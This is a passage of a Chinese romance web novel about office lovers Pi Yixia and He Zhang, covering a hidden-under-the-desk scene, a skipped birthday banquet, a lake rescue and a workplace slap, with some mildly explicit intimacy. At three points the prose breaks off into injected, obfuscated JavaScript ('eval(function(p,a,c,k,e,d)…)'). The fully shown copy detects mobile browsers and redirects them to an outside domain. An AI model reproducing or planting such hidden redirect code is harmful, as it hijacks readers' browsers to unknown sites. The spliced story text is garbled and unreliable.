正说着,办公室的门忽然被敲响,皮一夏顿时惊得瞪圆了眼,兔子一样逃窜下地,四下看看,只有书架那能躲人,抬腿就奔了过去。 “你疯跑什么?”贺章拧眉。 皮一夏惊慌失措地朝他“嘘”声,转眼就跑到书架一侧,然后她意识到,这个书架根本挡不住人的身形,只要外面的人一进来,立刻就会发现,于是又惊慌地奔回来,跑到贺章身前,一矮身,钻到了桌子底下。 “藏好了?”贺章好整以暇,手肘撑着桌面,两指托住下巴,低眼看她。 皮一夏点头,屏着呼吸不敢说话。 贺章忍笑,朝门口扬声:“进来。” 皮一夏心提在半空,把贺章的裤腿都攥皱了,眼睛瞪得滚圆,耳朵支棱着听动静。 有人走进来,关上了门。 “贺总,给您订的餐到了。” 林献?!皮一夏抚着胸,呼出一口气。 “刚给皮小姐也加订了一份。不过……她走了吗?” 刚刚打算假装在捡东西,然后自然起身的皮一夏闻言,又默默蹲了回去。 就当她走了吧。 贺章的目光落在裤脚,细白的手指像Oliver一样抓着他。 四目相对,她迅速竖起一指挡在唇边,悄声:“嘘。” “嗯。”贺章勾唇,淡淡道,“走了。” 林献有点懵。 他一直坐在CEO办公室门口的独立工位,中间只去了一趟卫生间,人就走了? “哦,那把她这份也放这吧,您挑着吃。”林献走进来,把外卖袋子放到桌上。 贺章应了声“好”:“你下班吧,告诉董力,不用等我了。” “好的。” 林献关上门出去了,皮一夏仰头讪笑两声:“早知道是林献,我就不藏了。” “是其他人也用不着藏。” “那可不行。”皮一夏从桌子底下钻出来,站起身说,“万一被人发现了,不定会传些什么。” “你进来的时候,不也都看到了?” “我抱着文件夹嘛,还算有正当理由。” 皮一夏拉过外卖袋子,拆开,取出里面的菜和米饭。 贺章将她拉回腿上坐着,语气不快:“既然如此,要是其他人进来,你也可以坐到桌子对面,假装汇报工作。” 皮一夏眼睛一亮:“对哦!我藏什么藏……欸不过,最好还是藏起来,这样比较万无一失。” 贺章的愉悦被冲淡几分。一座山还没翻完,眼前又出现一片海。 他们的关系,要想亮在日光下,还需要些时间。莫名的焦躁,让他板了脸,皮一夏察觉了,问:“你不开心吗?” “没有。”他说着把一次性筷子拆开,对搓两下,递到她手里,“吃饭。” “哦。” 林献点了四个菜,两份米饭,还有一份汤。菜有水煮鱼、油焖大虾、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她哦完就开始发呆,贺章偏头看了好几眼,终于忍不住问:“怎么了?在想什么?” “啊,没什么。” 虽然感觉Daisy和成涛凑在一起,没什么好事,但应该是她想多了,皮一夏决定先不去担忧那么多,转而问:“周六的生日宴,我需要准备什么吗?礼物,或者着装要求。” “礼物不需要。衣服,我让人送了几套到家里,一会儿你自己挑。” “哦。” 皮一夏以为贺章让人送到家里的衣服,就像之前的旗袍一样,千儿八百的,她买得起。 结果当她站在满满一架子衣服前,随手翻了翻衣领内的品牌标识,她发现自己真是误会了。 香奈儿、范思哲、阿玛尼、路易威登、华伦天奴……这些牌子她在苏苏的衣柜里见得比较多。别说她买不起,就算买得起,也不会花好几万去买一条裙子。 皮一夏面色纠结,看向贺章。 “怎么?没有喜欢的?”他问。 “有没有稍微平价一点,又不会给你丢脸的?” 豪门的生日宴应该也是流光溢彩的,如果她穿的太平价,会显得格格不入吧?可如果真把大几万的衣服套在身上,她会感觉自己浑身贴满了钞票,恐怕更不自然。 贺章若有所思,盯着她一时没说话。 皮一夏打量他神色,片刻迟疑道:“算了,我就随便试两件吧。” 说着拎起一件阿玛尼的蓝色礼服,跑去衣帽间,快速换好出来,站到贺章面前。 “行吗?” 她刚刚在穿衣镜前看过了,果然和她想的一样,感觉一点也不适合。 贺章的目光从下往上,缓缓扫视。 深蓝色礼服裙长及脚踝,抹胸收腰款,复古的墨竹印花,胸口以银灰色丝线缠绕做装饰,穿在她身上是很高贵典雅的。 但她不自在,左手摩挲着右臂,又问了句:“是不是不好看?我再换一件吧……” 话音未落,贺章从衣架上拎起一条樱桃红小礼服:“试试这件。是个新品牌,独立原创设计,平价。” “哦。” 皮一夏接过裙子,顺手翻起领口看了眼,一串字母,看着不像英文,反正是她没见过的品牌。 去衣帽间换好出来,她两手拎着裙摆,笑吟吟说:“这件我觉得可以,你看呢?” 微哑光绸缎小礼服,剪裁立体,廓形优雅,伞式裙摆长度到小腿中间,方圆领宽吊带设计,将柔美白皙的胸脯展露出来,细细的锁骨透着娇俏。 贺章缓步走到她身前,两手覆在她后腰,微微施力,她的小腹紧贴过去,上身不由自主地后仰,手臂顺势勾住了他脖子。 “例假走了吗?”他问。 42. 迁就 “还有……一点。” 贺章一把将她横抱起来,往床边走。 “不行!”她惊慌地补了句,“前菜主菜都不行!” 贺章低笑一声,将人放在床上:“那就上甜点。” 结束时,她满身斑驳,贺章却连扣子都没多解一颗。捞起被子将两人掩好,手臂揽在她小腹,唇还在一下一下啄。 “你不要亲了。”皮一夏麻痒难耐,缩着脖子躲他,“你是不是在报复?你就是在报复!” “报复什么?” 报复巴塞罗那的酒店里,她绑过他的手,没有给他再来一次的机会。 贺章轻笑着为自己辩解:“是你不方便。” “如果方便,今天就有主菜吃了吗?” 皮一夏现在已经意识到了,什么培养床伴的默契,贺章这段时间分明就是在钓着她,让她看得见吃不着,耍人呢! 贺章不答反问:“以后只吃这道菜了吗?” 漆黑的瞳孔后藏着岩浆一样滚烫的情绪,她红着脸败下阵来,埋在他怀里闷声:“你呢?” 许久没得到答案,她忍不住抬眼。 贺章在她唇上啄了下:“夏夏。” “嗯。” “你不是菜,是酒。”会醉,不会腻。 “什么酒?” 贺章一本正经:“玛丽莲.卡瓦起泡酒。” 她不由抿唇,拍了他一下:“你不要打趣我了!” 不过骗了他一回,被他揶揄两次了。 过了一会儿,两人去浴室洗漱,再回来躺下,皮一夏忍不住抱怨:“你怎么还有施虐癖呢!” “你倒知道什么叫施虐。”他凉凉地一声,睨着她。 皮一夏不满地冲他仰头:“你好好瞧瞧!”白皙的一段颈和锁骨下方,好几片红印子,“我明天还得穿高领毛衫……” 贺章扫了眼,忽然又凑过去,被她急急推开:“不能再闹了……都不知道周六能不能下去!” 结果一语成谶。 周六上午,皮一夏坐在贺章车里,拔开风衣领子,对着后视镜看脖子和胸口上的痕迹。 虽然昨晚已经热敷过了,今天还是没彻底消除,淡淡的紫灰色,粉底遮一遮勉强能看,就怕粉底被衣服蹭掉,那就丢人了。 皮一夏叹了口气,幽幽转头瞪着贺章:“我一定会报复回去的!” 贺章挑眉:“随时恭候。” “……” 皮一夏扭头看窗外。今天天气不错,太阳很大,微风,街道两旁的银杏叶变黄,马上就要进十一月,算起来,她跟贺章相识,已经两个多月了。 有点难以置信,不过才两个多月,他们就变得亲密无间了。 从一开始的见色起意,到重逢后的忐忑敬畏,慢慢地,她不再拘束,到如今,一点也不怕了。勇气在慢慢找回,贪心不再有意克制,再过一段时间…… “在想什么?”贺章突然出声,打断了她的思绪。 皮一夏笑意盈盈:“Ethan,等你出差回来,我也有件事,要和你说。” 贺章与她交握的手攥得更紧:“不能现在说?” 她扬眉,用他的招数回敬他:“不能。” 转念想起一会儿要见的人,又有点紧张,念叨着:“我还没跟苏苏说,还是先跟她打个招呼吧,一会儿要是人多,我就找个地方自己待着,或者跟她一起玩。你别跟我待在一起哦,不然挺奇怪的……” 贺章没说话,沉默着开到一个路口处,忽然打着方向盘掉头。 “欸?去哪呀?” “回家。” “不去参加范老生日宴了吗?”皮一夏错愕。 “我去。你不去了。” “为什么?”她更错愕了。 因为你不自在。 贺章偏头,淡淡道:“忽然想起,花园里还有很多事,不想让你太清闲。” 皮一夏懵了会儿,好像有点明白了,他在迁就她。心口咕嘟咕嘟冒出许多小甜水,她仰唇笑起,抱住他手臂,歪头靠在肩膀上。 “Ethan。” “嗯。” 他应了声,她却又不说话了。 贺章捏了捏她的手,催促。 “没什么,就想叫一叫你。” 贺章嘴角噙笑:“留着,该叫的时候再叫。” 皮一夏默了两秒才反应过来,反手就打了他一巴掌,羞恼道:“你怎么开荤腔呢!我还是个宝宝……” “能说出这话,你就不是个宝宝。” “……” “说说,你想的是什么?”他继续揶揄。 皮一夏红着脸看窗外。 贺章低笑一声,攥着她手亲了亲:“中午别做饭了,园区里有餐厅,味道还不错,出庭院大门往南走,不远就到。” 皮一夏端着架子,抻了会儿才回:“哦。” 十分钟后,吉普车在别墅门口停下,贺章偏头嘱咐:“在家待着,别乱跑。” “我知道了,你开车注意安全。” 皮一夏伸手推门,推不开,无语,探身过去在他脸上琢了一下,才被放行。 回到房间,她把身上的礼服脱掉,换成日常的衣服鞋子去干活。 一进花园就忍不住叹气。 掏出手机给贺章发微信:「花园都快秃了[难过]」 她还是比较喜欢给花施肥浇水杀虫除害,而不是清扫落叶和花瓣。 而且这么大一片园子,清扫起来真不是闹着玩的,一遍下来,累得腰酸背痛,死鱼一样摊在榕树底下的长椅上休息。 榕树叶子大半都黄了,也稀疏了,阳光穿过叶片的缝隙照在身上,微温,躺在斑驳的树影里,她又开始想贺章。 上午11:38,东二环的布恩维诺酒庄。 贺章收到一条微信:「宴会好玩吗?」 他勾唇一笑,回复:「尚可。在做什么?」 刚发出去,身旁的褚彦“啧啧”出声,嫌弃地皱鼻子:“一身恋爱的酸臭味。” 贺章收起手机,淡淡道:“比你那一身嫉妒的酸臭味要好。” “……” 论斗嘴皮子,褚彦虽然花样多,架不住贺章一句必杀,便也不和他纠缠,两人在酒庄主楼前的草坪上逛了会儿。 这酒庄是苏婉愉哥哥苏煜珩的,今天苏老爷子过七十大寿,正好苏煜珩研制出了新酒,借这个机会,把爷爷和众亲戚请到酒庄,一为贺寿,二为请大家品尝新酒。 “听说你前两天跟苏煜珩喝酒,喝了个大醉?”褚彦问。 贺章严谨纠正:“轻微上头。” 褚彦撇了撇嘴:“喝醉又不是什么丢人的事,不过我倒是好奇了,什么酒那么好喝,让你这位“一杯停”的主都破戒了?” “美酒。” “……多说几个字会死是吧?” 真的,跟贺章说话,缺氧,还不如围观老头下棋有意思。褚彦不想跟贺章待着了,正好贺章也烦他了,两人不约而同,往主楼的方向走。这会儿女眷们在酒庄里参观,男宾们都在主楼旁的大树底下,陪苏老爷子下棋。 贺章边走边给皮一夏发微信,嘴角一直没下来过。 褚彦见不得他这么好过,忍不住想给他添点糟心,眼珠一转说:“蒋鸿昨天去找你麻烦了?” 贺章皱眉瞥了他一眼。 褚彦一脸得意:“我自然有我的消息渠道。” “看来林献最近工作不饱和。” 褚彦一噎:“你别去找人麻烦啊!不是他跟我说的。瞧瞧你最近办的这些个事,裁员,裁得一大半都是蒋鸿的人,赵衡也被撸了,丁康琪那个老油条见风向不对,主动退了,咱们蒋副董快被修理成光杆司令了,回头你再找个机会,把我往董事会一塞,太子爷从此势不可挡。你这算盘珠子崩了蒋鸿一脸,用脚想,也知道他该闹了。” “哼。秋后的蚂蚱,蹦跶不了几天了。”贺章不以为意。 “话虽如此,你也别掉以轻心。”褚彦难得好心提醒,“跟银丰资本谈判的紧要关头,要是这时候给你闹出点事来,够你喝一壶的。” “你有时间操这个心,不如把文娱集团给我看好,就算帮了我大忙。”贺章嘴上不饶人,心里却承褚彦的情,也知道他的能力,这个时候,还真少不了他坐镇,“再有,祁山下周正式接任赵衡的位子,你好好带带他。” 褚彦一听贺章给他派活,就满脑门子黑线:“我真是欠你的。”说完加快脚步,甩下人走了。 中午十二点,生日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眼下,贺华森放任儿子回来收拾昔日战友,做法是不顾情面了些,却也是被逼到了这一步,蒋鸿这些年,拉帮结派,排挤外来的高管,把个集团搞得乌烟瘴气,确实有些不像话了。 苏瑾荣放下筷子,拿起餐巾擦了擦嘴,温和出声,打断了蒋鸿的滔滔不绝。 “小蒋,喝醉了就去休息,有什么事,醒了再说。” 说着示意两个跟蒋鸿同辈的家里人,连拉带劝地给他弄走了。 饭桌上顿时清净不少。 贺章和褚彦对视一眼,嘴角勾起一丝笑,少顷端起酒杯,给苏瑾荣祝寿,末了又说:“我爸找到一块砚台,北宋年间的,知道您爱文房,特意嘱咐,一定要亲自带来给您。” 苏瑾荣欣慰地说:“好,好,小章啊,你比你爸,有出息!” 贺章谦逊道谢后落座,又陪了片刻,就借口有事,提前离席了。 他一走,褚彦也坐不住,找了个理由追出来:“难得见你在席上待这么久,还主动哄老爷子开心,我直觉不对,是不是憋什么坏呢?” 贺章正给皮一夏发微信,没空理他。 褚彦抓住他手臂:“姓贺的,我警告你啊,别把你那一肚子坏水往苏家人身上倒,否则我跟你没完。” 贺章拧眉扫开他手:“吃你的饭去吧。” 褚彦停步,恨恨盯着他背影看了会儿,转身要回宴会厅,一抬眼,看见苏晨雪从走廊尽头过来,一身温婉的白色连衣裙,半挽公主发,瓷白的鹅蛋脸上透着股书卷气。 褚彦的脸色瞬间柔和下来,迎上去说:“晨晨,做什么去了?刚刚吃饭也不见你人。” 苏晨雪偏头不理他。 褚彦见状,忙凑过去哄:“别生气了,哥不是故意捣乱,那男的人品真不行,不适合你……” 苏晨雪挂着脸:“适不适合,我自己说了算,不用你管。” 说完就要下楼,被褚彦一把拉住了:“你去哪?” “我找Happy玩儿去。” Happy是苏煜珩养的狗。 褚彦仰头望天叹气。怎么一回国,他这个风流倜傥贵公子变成了人嫌狗不待见?呸呸,晨晨不是狗。 下午两点,贺章回到丰和壹号别墅。 里里外外找了一圈,没看见皮一夏,给她打电话和语音都联系不上人。贺章皱着眉,在庭院里走来走去,等了几分钟,决定出去找。 结果刚出门,就和她走了个顶头。 贺章看了她一眼,神色顿时凝住:“怎么弄成这样?” 皮一夏从头到脚都湿透了。头发乱糟糟,发尖滴着水,身上穿了件宽松款波西米亚风连衣裙,像窗帘或者床单的碎布拼起来的,湿哒哒贴在身上,整个人像刚从水里捞出来的小乞丐。 一见他就瘪着嘴,泫然欲泣:“Ethan,我今天好倒霉啊……” 43. 床照 皮一夏中午去贺章说的餐厅吃饭,吃完饭开开心心往回走,路过湖边时,看见有两个小男孩在打闹,她本没有多留意,结果其中一个突然把另一个推进水里了,动静挺大,她正好在附近,就扎进水里去救人。 幸好孩子掉下去时间不长,救上来晕了会儿,把水按出来就醒了。园区的物业和保安都来了,她把人交出去就离开了。 见义勇为本来是件好事,结果往回走的路上,才发现手机浸了水,自动关机了。 “我也不敢开机,怕烧坏主板,还得买新手机。”皮一夏怨念道。 贺章已经带她回到别墅,正在卫生间擦洗,贺章忍不住掐她脸,沉声说:“会游个水把你能的!跳下去的时候想没想过自己,淹……”他没说出那个字,板着脸瞪她。 “那俩小豆丁看着只有五六岁,我吓死了,根本来不及多想。哎,应该先把手机掏出来再下水的……” 贺章猛地将她搂到怀里,紧紧抱住了。 幸好她人没事。 皮一夏这时才意识到,她一直在沮丧地絮絮叨叨,都没意识到,竟然当着贺章的面,洗了个澡,连湿衣服都是他扒下来的……啊啊啊啊她怎么回事啊?! “你、你先出去。” 她红着脸推开他,尴尬地抱住手臂遮掩。 贺章脸还板着:“羞什么羞,我哪儿没见过?” 她脸更红了,不由分说往外推他:“你不是还要收拾行李嘛……” 贺章从卫生间出来,先把她那泡过水的手机擦干,晾到阳台上。想了想,又去楼下药箱里取了一包感冒冲剂,用热水泡好了端上来,才去收拾行李。 十分钟后,皮一夏在浴室里喊:“Ethan!” “怎么了?”他应声走过去,却推不开门,被里面的人抵住了。 “你帮我拿一件干净衣服……我忘了。” 她的衣服都在木屋里收着,贺章从行李箱里拎出件白色衬衣,皮一夏开了点门缝,从里面探出手,一把抓过去关上了门。 贺章:“……” 把他当色狼了? 贺章又气又好笑,合上行李箱,拎起来放到玄关。 过了一会儿,皮一夏出来了,甩着两条长袖子,不停地往下拽衬衣下摆。 贺章扫了一眼就偏开了头,从柜子里取过一张灰色毯子,走过去围到她腰间,然后把人横抱起来,走到床边坐下。 “喝药。”他朝床头柜抬了抬下巴。 皮一夏转脸看过去,端起来就喝,喝到一半才想起来问:“什么药啊?” “毒药。”贺章板着脸说。 皮一夏噘了噘嘴:“我也不想遇见这种事嘛!” 贺章深吸一口气,按着她后颈,亲了亲额头:“下不为例。” “哦……啊?那万一以后再遇见,难道不救嘛?” 贺章一噎:“救之前,先评估自己的实力。”不想跟她纠缠这个话题,他出声提醒,“喝药。” “哦,好。” “是感冒药,你落水受寒,预防感冒发烧。” 皮一夏一口气把药喝完,空杯子放在床头柜上,朝他甜甜地笑:“你怎么这么好啊!”转念想到他今晚就要出差,又有点不开心,闷闷地问,“几点走呀?” 贺章生平第一次,对出差这件事生出强烈的抗拒。 默了片刻才说:“五点半走,八点的飞机。” “现在几点了?”她抓过他手臂,看了看手表,“三点……那岂不是就剩两个半小时了。不对,连两个半小时都没有了,花园里的活还没干完,刚刚清扫完,还要去浇水……” 贺章不想听她絮叨这些,一低头封住嘴,来了一记深长的热吻。 “花园里的活,不是必须做。”他说。 “那怎么行?我还拿着时薪呢。” “……”这种时候,他就希望她是个没那么负责的员工。 贺章退了一步:“那就慢慢做,等我走了做,或者明天后天大后天,晚几天浇水,花也死不了。” 皮一夏想了想:“好吧……那我们接下来做点什么?啊对了!” 贺章被她这一惊一乍的,搞得有点毛了。 “又怎么了?” 皮一夏把毯子系在腰间,从他腿上下来,问:“我的手机呢?” “在阳台。” 她点点头,跑去阳台取回手机,拿到卫生间,打开吹风机对着手机吹。 贺章随后跟了过来,一手接过吹风机,另一手抱起她,放到洗手台上,接着帮她吹手机。 风声呼呼地响,手机翻来覆去,他神色专注,好像在做什么重要工作。 认真的男人真好看。 认真的Ethan全世界最好看。 皮一夏两手撑着洗手台的沿,小腿在台面下晃荡,目光一会儿落在手机上,一会儿落在他脸上。 “Ethan。” 她笑眯眯凑过去,抱住他手臂,下巴搁在他肩上,一歪头,与他耳贴耳。 贺章身体僵了一下。 耳朵有点痒,心也痒。 “不要耽误我做事。”他声音平平,语气克制,“叫我做什么? “没什么呀,我就是想叫一下你,接下来一周都叫不着了嘛。”她忍不住撒娇。 “可以给我打电话。” “会打扰你工作吧……哦对,还没问你,这次去哪里出差啊?” “美国,日本,香港。” 皮一夏叹了口气:“除了香港,都有时差。你还是安心工作吧,我等你回来。” 大约三十分钟后,贺章关掉了吹风机:“如果不放心,就再晾一宿。” “那还是晾吧,我这手机才买不到半年。” 贺章拉着她走出卫生间,从床头柜里翻了个手机出来,递给她:“这是我之前用过的,你那个如果开机后还是不行,先凑合用这个,等我回来,带你去买新的。” “哦。” 他这手机看着挺新的,倒是可以先登录微信,以防工作上有急事。不过…… “Ethan,你这手机里,有没有我不该看的东西啊?”她眨巴着眼睛问。 贺章神色一顿,接上数据线充电,然后开机一顿鼓捣。 “真有啊!”皮一夏八卦地凑过去,“是不是颜色小片啊?”被他拿手推开了脑袋。 “哼!看男人的手机,就像扫雷,我还怕自己被炸死呢。”她撇了撇嘴。 贺章按熄了手机屏,放在床头柜上充电,然后将她抱起来塞进被子里:“睡会儿。”随后也躺了进来。 她身上的毛毯已经散开了,贺章从被子里拎出来,随手丢在床上,将人揽进怀里。 忽然,他手掌一顿。 低眼,正对上她惊慌的红脸蛋。 喉结重重滚了一下:“没穿?” “……没有。”皮一夏脸如火烧,“在木屋里。”说着一把抓住他的手,丢到了被子外面。 贺章深深地叹了口气,然后狠狠地亲了亲她。 “等我回来。” 她咬唇,默默点头。 被他体温烘得暖暖的,皮一夏很快就睡着了,醒来时,外面天已经黑了。 她翻身从床上坐起来,怅然若失地盯着窗外的夜色,被一股猝不及防的思念袭击了。 分开不过几个小时,竟然开始想他了。 呆坐片刻,拿起床头柜上的手机,点亮屏幕,一张自拍照蓦地映入眼帘。 是他的“床照”自拍。 上身是黑色衬衣,领口敞得很大,露出性感的胸肌,漆黑的眼睛盯着屏幕,好像在被真人直视,她蓦地红了脸。 有种偷看他私密照的羞耻感。 这照片,是他刚刚拍的吧……故意换成手机屏勾引她! 皮一夏翘着嘴角欣赏了一会儿,进入手机桌面,盯着上面的一排排图标,忽然产生了强烈的探索欲。 君子慎独……但她是女子。 不看白不看! 皮一夏先点开手机相册,上下快速扒拉着,大多都是风景照、Oliver的照片、书页、和某个老外的合影……很快就翻完了。 无趣。 仅有的一张自拍,还是刚刚拍的。 退出相册,又试探着点开了便签。 为首的便签里只写着一行字:找到小片了吗? 皮一夏猛地将手机丢回床上,烫手似的。他怎么……怎么知道她会翻手机啊! 好羞耻。 她不敢再看了,赶紧点开微信,先登录自己的账号,鼓捣了好一会儿才登录成功,有不少未读消息。 贺章在最上面,头像右上角显示红圈数字9。皮一夏有点惊讶,点进去,从上往下看。 第一条消息的发送时间是17:35,那时候他应该刚出门。 「睡醒测个体温,温度计在床头柜最上层。」 第二条发送时间17:40。 「你的衣服和洗漱用品拿到客厅了,醒来自己收进卧室。」 第三条18:00。 「每隔两天,阿姨会来补充冰箱食材,如果有想吃的,就在冰箱上贴便签。」 18:30。 「夜里锁好门,害怕了给我打电话。随时。」 18:45。 「今天不要管花园了,好好休息。听话。」 19:00。 「还没醒?」 19:32。 「真能睡。」 19:59 「登机了。照顾好Oliver,每天汇报。」 20:00。 「人狗自拍。」 皮一夏眼眶潮湿,盯着最后两行文字,良久,抿唇无声笑了起来。 好想他啊…… 贺章一走,时间仿佛都变慢了。 以前只怕周末过得太快,现在却感觉,周日长得没完没了。这别墅又大,走到哪都空荡荡的,花园里的事也做完了,皮一夏坐在庭院的躺椅上,抱着Oliver发呆。 下午想约苏苏出去逛街,不巧苏苏又去国外看展了,两人就在微信上有一搭没一搭地聊。 聊到苏婉愉那事的后续,听说她正在起诉,要追回赵衡在婚姻期间送给Daisy的财物,坚决不能让小三占一毛钱便宜。 皮一夏点了个赞,苏晨雪却有点担心:「听说表姐在公司跟你说话了,会不会让Daisy记恨你,再给你找麻烦啊?」 这一点她倒是不怕,反正即便没有苏婉愉,她和Daisy之间的结也已经解不开了。 无聊的周末过去,周一刚上班,就收到了人事公告:即日起,华森影业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781242|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总裁祁山接管文娱公司,负责文娱集团日常运营,同时,内容中心负责人何黛停职接受调查。 皮一夏有点惊讶。 她虽然信奉“多行不义必自毙”,却也不敢期待报应来的这么快。 还没等她愣过神儿,张宝静就从人事部小姐妹那得到了一手消息。 「皮皮姐,听说Daisy是因为收受贿赂被查的。那部《我欲乘风》你还记得吧,不是官宣五月底上线,结果一直拖到六月底才播嘛,听说就是Daisy使了手段,在内部卡审批流程,暗示片方给好处费。听说上周五下班后,Daisy又赶回公司,清除了电脑上的聊天记录……」 原来不是因为私德,或者抄袭的事被发现了……也是,赵衡下台了,Vivian也走了,知道这件事的人都不在了,Daisy停职了,她似乎也没有必要追究了。 皮一夏用了一天时间,说服自己平常心,别在这时候落井下石,然而下班前,新任老板祁山把她叫到了办公室,提出由她暂代内容中心负责人。 “祁总,我可以知道这个决定是怎么做出的吗?”她问。 祁山说:“我刚接手,很多事还顾不上细盘。内容中心不能群龙无首,我看了最近的竞聘评分,你比Daisy差1.2分,排在第2名,所以让你暂代。未来一个月,我会根据你的工作表现,评估你能否胜任这个职位,不排除重新启动内部竞聘或外部招聘。” 皮一夏松了口气:“好的祁总,我会努力的。” 不是因为褚彦的私人推荐就好。这样很公平。 从祁山办公室出来,她给贺章发了条微信:「Ethan,我有半个好消息,你想知道是什么吗?」 发完才想起有时差,北京时间18:30,美国应该是早上五六点,贺章大概还没醒。 谁知不到一分钟,就收到了他的回复,是两秒钟的语音:「什么好消息?」 嗓音低哑,语声倦懒,一听就是刚睡醒。 皮一夏听了两遍,有点抱歉地回:「我是不是吵醒你了?你接着睡吧,晚上到家再说。」 贺章:「现在说。」仍然是语音,不容拒绝的语气。 哼。霸道总裁又上身了。 她想了想,收拾背包下班,手头还有点工作,可以拿回家做。 走到C座一楼大厅,刚刷出闸机,就看见Daisy怒气冲冲迎面走来,还没等她反应过来,就被Daisy抽了一个耳光! 有两秒的时间,她整个人都是懵的。 从小到大,她还没被人打过耳光,而且是在公司大厅,下班高峰期,来往的同事侧目围观,她像被人扒光了一样,感到巨大的羞耻和愤怒。 Daisy神色扭曲,红唇翕张,指着她说了些什么,她也没听清,好一阵儿才回过神,然后反手一巴掌抽了回去。 “你他妈是不是有病!” Daisy捂着脸,眼看又要扑上来,却被路过的两个女生拦住了,似乎是市场部的同事。 “别动手别动手……” 前台也跑过来劝架,Daisy被众人拉到一边,厉色道:“你给我等着皮一夏,我一定不会让你好过!” 皮一夏怒极反笑:“Daisy,你被停职和我无关,如果你非要怪到我头上,随意。本来你抄袭的事我不打算追究了,但现在我改主意了,以德报怨,何以报德?你也给我等着!” 突如其来的冲突让她忍不住全身发抖,撑着说完这番话,已经是强弩之末了,她转身就走,不再理会发疯的Daisy。 打了辆车回丰和壹号,一路都没从巨大的耻辱和愤怒中摆脱出来,贺章又发了两条微信,催她回复,她也没有心情理会。 直到抱着Oliver坐在沙发上,又缓了十几分钟,情绪才好了一点。 贺章打来了微信视频,她犹豫几秒,点了接通。 屏幕上出现他的脸,似乎刚刚洗漱完,额前的头发是湿的,神色不悦,张口就说:“怎么不回消息?” “Ethan……”她瘪了瘪嘴,一开口就鼻酸,只想跟他告状。 贺章愣了下:“出什么事了?”凝神一瞬,又问,“脸怎么了?” 她下意识捂住被打的半边脸:“不小心撞的。” “撞到哪,能撞得那么均匀?”贺章显然不信,“说实话。” 他语气有点凶,她更觉得委屈,张嘴就怼回去:“就是实话嘛!走路看手机,不小心撞树上了,树皮擦红的……你凶什么凶!” 她说完就挂了视频,耷拉着嘴角,去二楼卫生间洗漱。 中间贺章打了两次视频来,她都没接。 洗漱完站到镜子前,那半边脸被热气一蒸,更红了,只好又用冷水洗了个帕子,敷在脸上,回到卧室,抱腿蜷缩在单人沙发里发呆。 过了几分钟,视频又来了,她也作够了,放下帕子接通。 贺章那头的屏幕上,出现她半边脸,嘴角还朝下弯着,也不看他,闷闷说:“你不去工作吗,干嘛一直打视频?” “你存心不让我工作,还问什么。”他平声道。 “我哪有?!”她猛地转过脸瞪他,一瞬又侧了回去,语气怨念,“我哪有存心不让你工作?” “你不说实话。不接电话。搅得我心神不宁。这不是存心不让我工作,是什么?” 44. 巴掌 他说,因为她不接电话,搅得他心神不宁。 虽然不合时宜,但她感觉到胸口涌出一股甜意,冲淡了堵在喉咙里的郁闷。 “我接电话了。你去工作吧……”她语气软下来。 贺章说:“那我挂了。” “……哦。”她抬眼看了看他,又耷拉下睫毛。 虽然不想耽误他做正事,但是真的连几分钟时间都抽不出来嘛。也怪她,刚刚明明有机会,非闹脾气不接视频。 她噘着嘴,贺章看在眼里,心尖飞快掠过一丝酸软,却没出声,等她反应。 过了两秒,她眼皮一掀,愣了:“怎么还没挂?” 惊诧又带着几分欣喜的语气透过声筒传出来,贺章不由勾唇笑了一下。 “你存心不让我挂。” “我哪有……”怎么又怪她。 嘴角却不由自主地弯了上去。 贺章两指弹了弹屏幕,在她额头的位置,像一个当面的小惩罚。 “说吧,你的半个好消息。” 皮一夏想到公司的事,心情瞬间又不好了,连这半个好消息都不好了,于是很平淡地说了句:“也没什么。就是口头升了半个职,还在考察期,我不一定行呢。” 她其实有点忐忑。 从管理八个人的小团队,一下子变成管理三四十人,这不是在心里告诉自己“别紧张你没问题”就能解决的事。 底下的人不服怎么办?部门内斗怎么解决?如何用好每个员工的长处,还不能让人感觉付出与得到不匹配?新老板的需求和团队执行怎么磨合? 一想到即将面临的问题,她就头大,甚至想退缩。 贺章看出了她的不自信,沉声:“头抬起来。” 皮一夏脑子一懵,仿佛被老板当面呵斥似的,下意识乖乖照做,对上那双熟悉的眼睛,立时又松懈了精神,嘟囔:“凭什么你让抬就抬,我偏不!” 贺章眼中含笑:“怼我的时候你倒很行。” 你又不是工作……可她是从什么时候起,不拿他当老板对待了呢? 皮一夏晃了晃神,被贺章出声唤回。 “决策果断,用人大胆,时刻谨记主要矛盾。就这一句话,好好琢磨。” 啊……这是在传授真经吗? 皮一夏思索片刻,感觉好像抓住了什么,但还是有点虚:“能不能再讲明白一些啊?” 贺章环臂抱胸,好整以暇盯着她。 是要她拿出求人的态度吗?哼,故弄玄虚的臭资本家! 皮一夏一边腹诽,一边双手合十,狗腿地冲他笑:“Ethan……”语气特别乖巧,见他不为所动,又默默加了把火,“贺老师,求求你了……” 贺章差点绷不住笑出来,忍了忍,语声疏淡:“意思就是放手去干,有我在,你怕什么。” 她蓦地咬唇,瞳中渐渐染上笑意,越来越亮,看得远在太平洋对岸的人心头一热,只恨不能穿过屏幕把人抓到身边,狠狠揉搓一番。 “Ethan,今天怎么才周一呀?”皮一夏怨念。 好想抱他。 贺章摩挲着屏幕上的小脸:“吃饭了吗?” “还没有。我一会儿下去煮个面……你那边几点了?” 贺章抬手看了看表:“八点二十五。” “啊……那你是不是该工作了?” 